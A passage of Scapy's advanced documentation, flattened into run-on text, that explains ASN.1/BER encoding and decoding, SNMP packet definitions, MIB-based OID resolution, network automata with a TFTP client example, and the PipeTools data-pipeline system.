cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2178, in do_dec l,s,t = cls.check_type_check_len(s) File "/usr/bin/scapy", line 2076, in check_type_check_len l,s3 = cls.check_type_get_len(s) File "/usr/bin/scapy", line 2069, in check_type_get_len s2 = cls.check_type(s) File "/usr/bin/scapy", line 2065, in check_type (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting ### Already decoded ### None ### Remaining ### '\x03\x03egg' >>> BERcodec_Object.dec('\x03\x03egg') (, '') ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``raw()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used. :: >>> x.enc(ASN1_Codecs.BER) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> raw(x) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> xx,remain = BERcodec_Object.dec(_) >>> xx.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: >>> remain '' By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context! :: >>> cert=""" ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0 ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0 ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/ ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5 ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41 ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg= ... """.decode("base64") >>> (dcert,remain) = BERcodec_Object.dec(cert) Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2092, in do_dec raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...'] ### Already decoded ### [[]] ### Remaining ### '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509) >>> dcert.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT0: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT3: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: \xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01 ASN.1 layers ^^^^^^^^^^^^ While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet. ASN.1 fields ~~~~~~~~~~~~ Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it). Each ASN.1 field is linked to an ASN.1 object through its tag. ASN.1 packets ~~~~~~~~~~~~~ ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields. A complete example: SNMP ------------------------ SNMP defines new ASN.1 objects. We need to define them:: class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic:: class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other. The ASN.1 fields are also trivial:: class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT # [...] Now, the hard part, the ASN.1 packet:: SNMP_error = { 0: "no_error", 1: "too_big", # [...] } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", # [...] } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) # [...] class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) # [...] bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may have cut too much, just look at the complete source code. Now, how to use it? As usual:: >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5), ... SNMPvarbind(oid="3.2.1",value="hello")])) >>> a.show() ###[ SNMP ]### version= v3 community= 'public' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= '1.2.3' | | value= 5 | |###[ SNMPvarbind ]### | | oid= '3.2.1' | | value= 'hello' >>> hexdump(a) 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!. 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*. 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello >>> send(IP(dst="1.2.3.4")/UDP()/SNMP()) . Sent 1 packets. >>> SNMP(raw(a)).show() ###[ SNMP ]### version= community= \PDU\ |###[ SNMPget ]### | id= | error= | error_index= | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= | | value= | |###[ SNMPvarbind ]### | | oid= | | value= Resolving OID from a MIB ------------------------ About OID objects ^^^^^^^^^^^^^^^^^ OID objects are created with an ``ASN1_OID`` class:: >>> o1=ASN1_OID("2.5.29.10") >>> o2=ASN1_OID("1.2.840.113549.1.1.1") >>> o1,o2 (, ) Loading a MIB ^^^^^^^^^^^^^ Scapy can parse MIB files and become aware of a mapping between an OID and its name:: >>> load_mib("mib/*") >>> o1,o2 (, ) The MIB files I've used are attached to this page. Scapy's MIB database ^^^^^^^^^^^^^^^^^^^^ All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name :: >>> conf.mib.sha1_with_rsa_signature '1.2.840.113549.1.1.5' or to resolve an OID:: >>> conf.mib._oidname("1.2.3.6.1.4.1.5") 'enterprises.5' It is even possible to graph it:: >>> conf.mib._make_graph() Automata ======== Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose your way to go. An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions, and from transitions to states and actions. From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work. First example ------------- Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well. :: class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): print "State=BEGIN" @ATMT.condition(BEGIN) def wait_for_nothing(self): print "Wait for nothing..." raise self.END() @ATMT.action(wait_for_nothing) def on_nothing(self): print "Action on 'nothing' condition" @ATMT.state(final=1) def END(self): print "State=END" In this example, we can see 3 decorators: * ``ATMT.state`` that is used to indicate that a method is a state, and that can have initial, final and error optional arguments set to non-zero for special states. * ``ATMT.condition`` that indicate a method to be run when the automaton state reaches the indicated state. The argument is the name of the method representing that state * ``ATMT.action`` binds a method to a transition and is run when the transition is taken. Running this example gives the following result:: >>> a=HelloWorld() >>> a.run() State=BEGIN Wait for nothing... Action on 'nothing' condition State=END This simple automaton can be described with the following graph: .. image:: graphics/ATMT_HelloWorld.* The graph can be automatically drawn from the code with:: >>> HelloWorld.graph() Changing states --------------- The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition. As an example, let's consider the following state:: @ATMT.state() def MY_STATE(self, param1, param2): print "state=MY_STATE. param1=%r param2=%r" % (param1, param2) This state will be reached with the following code:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type) Let's suppose we want to bind an action to this transition, that will also need some parameters:: @ATMT.action(received_ICMP) def on_ICMP(self, icmp_type, icmp_code): self.retaliate(icmp_type, icmp_code) The condition should become:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code) Real example ------------ Here is a real example take from Scapy. It implements a TFTP client that can issue read requests. .. image:: graphics/ATMT_TFTP_read.* :: class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = b"" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.action(receive_data) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): recvd = pkt[Raw].load self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res It can be run like this, for instance:: >>> TFTP_read("my_file", "192.168.1.128").run() Detailed documentation ---------------------- Decorators ^^^^^^^^^^ Decorator for states ~~~~~~~~~~~~~~~~~~~~ States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters, ``initial``, ``final`` and ``error``, that, when set to ``True``, indicating that the state is an initial, final or error state. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state() def SOME_STATE(self): pass @ATMT.state(final=1) def END(self): return "Result of the automaton: 42" @ATMT.state(error=1) def ERROR(self): return "Partial result, or explanation" # [...] Decorators for transitions ~~~~~~~~~~~~~~~~~~~~~~~~~~ Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. The default priority is 0. Transitions with the same priority level are called in an undetermined order. When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called. :: class Example(Automaton): @ATMT.state() def WAITING(self): pass @ATMT.condition(WAITING) def it_is_raining(self): if not self.have_umbrella: raise self.ERROR_WET() @ATMT.receive_condition(WAITING, prio=1) def it_is_ICMP(self, pkt): if ICMP in pkt: raise self.RECEIVED_ICMP(pkt) @ATMT.receive_condition(WAITING, prio=2) def it_is_IP(self, pkt): if IP in pkt: raise self.RECEIVED_IP(pkt) @ATMT.timeout(WAITING, 10.0) def waiting_timeout(self): raise self.ERROR_TIMEOUT() Decorator for actions ~~~~~~~~~~~~~~~~~~~~~ Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optional priority ``prio`` as a second parameter. The default priority is 0. An action method can be decorated many times to be bound to many transitions. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state(final=1) def END(self): pass @ATMT.condition(BEGIN, prio=1) def maybe_go_to_end(self): if random() > 0.5: raise self.END() @ATMT.condition(BEGIN, prio=2) def certainly_go_to_end(self): raise self.END() @ATMT.action(maybe_go_to_end) def maybe_action(self): print "We are lucky..." @ATMT.action(certainly_go_to_end) def certainly_action(self): print "We are not lucky..." @ATMT.action(maybe_go_to_end, prio=1) @ATMT.action(certainly_go_to_end, prio=1) def always_action(self): print "This wasn't luck!..." The two possible outputs are:: >>> a=Example() >>> a.run() We are not lucky... This wasn't luck!... >>> a.run() We are lucky... This wasn't luck!... Methods to overload ^^^^^^^^^^^^^^^^^^^ Two methods are hooks to be overloaded: * The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behavior of your automaton. * The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition. .. _pipetools: PipeTools ========= Scapy's ``pipetool`` is a smart piping system allowing to perform complex stream data management. The goal is to create a sequence of steps with one or several inputs and one or several outputs, with a bunch of blocks in between. PipeTools can handle varied sources of data (and outputs) such as user input, pcap input, sniffing, wireshark... A pipe system is implemented by manually linking all its parts. It is possible to dynamically add an element while running or set multiple drains for the same source. .. note:: Pipetool default objects are located inside ``scapy.pipetool`` Demo: sniff, anonymize, send to Wireshark ----------------------------------------- The following code will sniff packets on the default interface, anonymize the source and destination IP addresses and pipe it all into Wireshark. Useful when posting online examples, for instance. .. code-block:: python3 source = SniffSource(iface=conf.iface) wire = WiresharkSink() def transf(pkt): if not pkt or IP not in pkt: return pkt pkt[IP].src = "1.1.1.1" pkt[IP].dst = "2.2.2.2" return pkt source > TransformDrain(transf) > wire p = PipeEngine(source) p.start() p.wait_and_stop() The engine is pretty straightforward: .. image:: graphics/pipetool_demo.svg Let's run it: .. image:: https://scapy.net/files/doc/pipetool_demo.gif Class Types ----------- There are 3 different class of objects used for data management: - ``Sources`` - ``Drains`` - ``Sinks`` They are executed and handled by a :class:`~scapy.pipetool.PipeEngine` object. When running, a pipetool engine waits for any available data from the Source, and send it in the Drains linked to it. The data then goes from Drains to Drains until it arrives in a Sink, the final state of this data. Let's see with a basic demo how to build a pipetool system. .. image:: graphics/pipetool_engine.png For instance, this engine was generated with this code: .. code:: pycon >>> s = CLIFeeder() >>> s2 = CLIHighFeeder() >>> d1 = Drain() >>> d2 = TransformDrain(lambda x: x[::-1]) >>> si1 = ConsoleSink() >>> si2 = QueueSink() >>> >>> s > d1 >>> d1 > si1 >>> d1 > si2 >>> >>> s2 >> d1 >>> d1 >> d2 >>> d2 >> si1 >>> >>> p = PipeEngine() >>> p.add(s) >>> p.add(s2) >>> p.graph(target="> the_above_image.png") ``start()`` is used to start the :class:`~scapy.pipetool.PipeEngine`: .. code:: pycon >>> p.start() Now, let's play with it by sending some input data .. code:: pycon >>> s.send("foo") >'foo' >>> s2.send("bar") >>'rab' >>> s.send("i like potato") >'i like potato' >>> print(si2.recv(), ":", si2.recv()) foo : i like potato Let's study what happens here: - there are **two canals** in a :class:`~scapy.pipetool.PipeEngine`, a lower one and a higher one. Some Sources write on the lower one, some on the higher one and some on both. - most sources can be linked to any drain, on both lower and higher canals. The use of ``>`` indicates a link on the low canal, and ``>>`` on the higher one. - when we send some data in ``s``, which is on the lower canal, as shown above, it goes through the :class:`~scapy.pipetool.Drain` then is sent to the :class:`~.scapy.pipetool.QueueSink` and to the :class:`~scapy.pipetool.ConsoleSink` - when we send some data in ``s2``, it goes through the Drain, then the TransformDrain where the data is reversed (see the lambda), before being sent to :class:`~scapy.pipetool.ConsoleSink` only. This explains why we only have the data of the lower sources inside the QueueSink: the higher one has not been linked. Most of the sinks receive from both lower and upper canals. This is verifiable using the `help(ConsoleSink)` .. code:: pycon >>> help(ConsoleSink) Help on class ConsoleSink in module scapy.pipetool: class ConsoleSink(Sink) | Print messages on low and high entries | +-------+ | >>-|--. |->> | | print | | >-|--' |-> | +-------+ | [...] Sources ^^^^^^^ A Source is a class that generates some data. There are several source types integrated with Scapy, usable as-is, but you may also create yours. Default Source classes ~~~~~~~~~~~~~~~~~~~~~~ For any of those class, have a look at ``help([theclass])`` to get more information or the required parameters. - :class:`~scapy.pipetool.CLIFeeder` : a source especially used in interactive software. its ``send(data)`` generates the event data on the lower canal - :class:`~scapy.pipetool.CLIHighFeeder` : same than CLIFeeder, but writes on the higher canal - :class:`~scapy.pipetool.PeriodicSource` : Generate messages periodically on the low canal. - :class:`~scapy.pipetool.AutoSource`: the default source, that must be extended to create custom sources. Create a custom Source ~~~~~~~~~~~~~~~~~~~~~~ To create a custom source, one must extend the :class:`~scapy.pipetool.AutoSource` class. .. note:: Do NOT use the default :class:`~scapy.pipetool.Source` class except if you are really sure of what you are doing: it is only used internally, and is missing some implementation. The :class:`~scapy.pipetool.AutoSource` is made to be used. To send data through it, the object must call its ``self._gen_data(msg)`` or ``self._gen_high_data(msg)`` functions, which send the data into the PipeEngine. The Source should also (if possible), set ``self.is_exhausted`` to ``True`` when empty, to allow the clean stop of the :class:`~scapy.pipetool.PipeEngine`. If the source is infinite, it will need a force-stop (see PipeEngine below) For instance, here is how :class:`~scapy.pipetool.CLIHighFeeder` is implemented: .. code:: python3 class CLIFeeder(CLIFeeder): def send(self, msg): self._gen_high_data(msg) def close(self): self.is_exhausted = True Drains ^^^^^^ Default Drain classes ~~~~~~~~~~~~~~~~~~~~~ Drains need to be linked on the entry that you are using. It can be either on the lower one (using ``>``) or the upper one (using ``>>``). See the basic example above. - :class:`~scapy.pipetool.Drain` : the most basic Drain possible. Will pass on both low and high entry if linked properly. - :class:`~scapy.pipetool.TransformDrain` : Apply a function to messages on low and high entry - :class:`~scapy.pipetool.UpDrain` : Repeat messages from low entry to high exit - :class:`~scapy.pipetool.DownDrain` : Repeat messages from high entry to low exit Create a custom Drain ~~~~~~~~~~~~~~~~~~~~~ To create a custom drain, one must extend the :class:`~scapy.pipetool.Drain` class. A :class:`~scapy.pipetool.Drain` object will receive data from the lower canal in its ``push`` method, and from the higher canal from its ``high_push`` method. To send the data back into the next linked Drain / Sink, it must call the ``self._send(msg)`` or ``self._high_send(msg)`` methods. For instance, here is how :class:`~scapy.pipetool.TransformDrain` is implemented:: class TransformDrain(Drain): def __init__(self, f, name=None): Drain.__init__(self, name=name) self.f = f def push(self, msg): self._send(self.f(msg)) def high_push(self, msg): self._high_send(self.f(msg)) Sinks ^^^^^ Sinks are destinations for messages. A :py:class:`~scapy.pipetool.Sink` receives data like a :py:class:`~scapy.pipetool.Drain`, but doesn't send any messages after it. Messages on the low entry come from :py:meth:`~scapy.pipetool.Sink.push`, and messages on the high entry come from :py:meth:`~scapy.pipetool.Sink.high_push`. Default Sinks classes ~~~~~~~~~~~~~~~~~~~~~ - :class:`~scapy.pipetool.ConsoleSink` : Print messages on low and high entries to ``stdout`` - :class:`~scapy.pipetool.RawConsoleSink` : Print messages on low and high entries, using os.write - :class:`~scapy.pipetool.TermSink` : Prints messages on the low and high entries, on a separate terminal - :class:`~scapy.pipetool.QueueSink` : Collects messages on the low and high entries into a :py:class:`Queue` Create a custom Sink ~~~~~~~~~~~~~~~~~~~~ To create a custom sink, one must extend :py:class:`~scapy.pipetool.Sink` and implement :py:meth:`~scapy.pipetool.Sink.push` and/or :py:meth:`~scapy.pipetool.Sink.high_push`. This is a simplified version of :py:class:`~scapy.pipetool.ConsoleSink`: .. code-block:: python3 class ConsoleSink(Sink): def push(self, msg): print(">%r" % msg) def high_push(self, msg): print(">>%r" % msg) Link objects ------------ As shown in the example, most sources can be linked to any drain, on both low and high entry. The use of ``>`` indicates a link on the low entry, and ``>>`` on the high entry. For example, to link ``a``, ``b`` and ``c`` on the low entries: .. code-block:: pycon >>> a = CLIFeeder() >>> b = Drain() >>> c = ConsoleSink() >>> a > b > c >>> p = PipeEngine() >>> p.add(a) This wouldn't link the high entries, so something like this would do nothing: .. code-block:: pycon >>> a2 = CLIHighFeeder() >>> a2 >> b >>> a2.send("hello") Because ``b`` (:py:class:`~scapy.pipetool.Drain`) and ``c`` (:py:class:`scapy.pipetool.ConsoleSink`) are not linked on the high entry. However, using a :py:class:`~scapy.pipetool.DownDrain` would bring the high messages from :py:class:`~scapy.pipetool.CLIHighFeeder` to the lower channel: .. code-block:: pycon >>> a2 